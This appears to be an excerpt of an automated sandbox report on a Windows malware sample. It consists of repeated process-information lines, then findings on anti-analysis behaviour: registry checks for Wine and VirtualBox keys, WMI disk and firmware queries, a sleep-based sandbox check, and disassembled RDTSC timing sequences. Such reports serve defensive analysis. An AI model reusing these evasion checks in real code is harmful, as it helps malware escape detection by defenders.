Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_23-95364

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DDE0 second address: 71DDE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DDE8 second address: 71DE1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jo 00007F2BE511FAE8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnl 00007F2BE511FAF2h 0x00000017 push ecx 0x00000018 jmp 00007F2BE511FAEBh 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop ecx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E383 second address: 71E387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E387 second address: 71E38D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7211BB second address: 7211C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7211C0 second address: 721213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jno 00007F2BE511FAE8h 0x00000011 pop esi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jc 00007F2BE511FB13h 0x0000001c pushad 0x0000001d jmp 00007F2BE511FAF9h 0x00000022 jmp 00007F2BE511FAF2h 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721213 second address: 721217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721217 second address: 72121B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72121B second address: 721221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721221 second address: 72123F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F2BE511FAE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jns 00007F2BE511FAE6h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7212C5 second address: 7212C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
